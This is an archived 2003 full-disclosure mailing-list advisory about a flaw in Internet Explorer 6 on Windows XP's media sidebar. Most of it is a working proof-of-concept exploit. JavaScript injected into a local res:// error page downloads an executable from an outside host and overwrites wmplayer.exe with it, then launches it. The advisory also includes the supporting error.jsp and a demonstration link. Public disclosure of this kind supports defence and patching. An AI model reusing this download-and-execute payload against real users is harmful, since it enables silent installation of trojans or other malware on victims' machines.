

[Full-Disclosure] Internet explorer 6 on windows XP allows execution of arbitrary code

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2003-09/0654.html>

From: jelmer (jkuperus_at_planet.nl)

Date: 09/12/03

To: bugtraq@securityfocus.com

Date: Fri, 12 Sep 2003 00:31:41 +0200

Internet explorer 6 on windows XP allows execution of arbitrary code

DESCRIPTION :

Yesterday Liu Die Yu released a number series of advisories concerning internet explorer by combining on of these issues with an earlier issue I myself reported a while back
You can construct a specially crafted webpage that can take any action on a users system including but not limited to, installing trojans, keyloggers, wiping the users harddrive etc.

TECHNICAL EXPLANATION :

Internet explorer 6 comes with a media sidebar in wich you can load and play medioclips without even leaving the browser. when you instruct the mediabar to load a file from an unknown host or the HTTP status returned by an existing host indicates an error this media bar displays an error page inside the media bar namely

`res://C:\WINDOWS\System32\browseic.dll/mb404.htm#path`

res URL's are treated as being in the "my computer zone" and are loaded from the users filesystem
perfect conditions for the issue I describe on

<http://www.mail-archive.com/full-disclosure@lists.netsys.com/msg06791.html>

To work. now all that is needed is a way to inject this exploit code into this page
This method was graciously provided by Liu Die Yu as you can read on

Full-Disclosure: [Full-Disclosure] Internet explorer 6 on windows XP allows execution of arbitrary code

<http://www.securityfocus.com/archive/1/336937/2003-09-08/2003-09-14/0>

Combining these issues we get something like :

--snip--

```
<textarea id="code" style="display:none;">
```

```
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://ip3e83566f.speed.planet.nl/L.exe",0);
x.Send();
```

```
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
```

```
s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href = "mms://";
```

```
</textarea>
```

```
<script language="javascript">
```

```
function preparecode(code) {
    result = "";
    lines = code.split(/\r\n/);
    for (i=0;i<lines.length;i++) {

        line = lines[i];
        line = line.replace(/\s+/, "");
        line = line.replace(/\s+$/, "");
        line = line.replace(/"/g, "\"");
        line = line.replace(/[/]/g, "\\\\");
        line = line.replace(/[/]/g, "%2f");
```

```
        if (line != "") {
            result += line + "\\r\\n";
        }
    }
}
```

```
return result;
```

```
}
```

```
function doit() {
    mycode = preparecode(document.all.code.value);
    myURL = "file:javascript:eval('" + mycode + "')";
    window.open(myURL, "_media")
}
```

```
window.open("error.jsp", "_media");
```

[Full-Disclosure] Internet explorer 6 on windows XP allows execution of arbitrary code

Full-Disclosure: [Full-Disclosure] Internet explorer 6 on windows XP allows execution of arbitrary code

```
setTimeout("doit()", 5000);
```

```
</script>
```

```
--snip--
```

error.jsp is a jsp page that consists of one line, namely

```
<% response.setStatus(HttpServletResponse.SC_UNAUTHORIZED); %>
```

DEMONSTRATION :

A demonstration is provided at :

<http://ip3e83566f.speed.planet.nl/hacked-by-chinese/5.htm>

WORKAROUND :

Disable active scripting or do "the sensible thing" and pick another browser such as the excellent mozilla firebird.

Full-Disclosure – We believe in it.

Charter: <http://lists.netsys.com/full-disclosure-charter.html>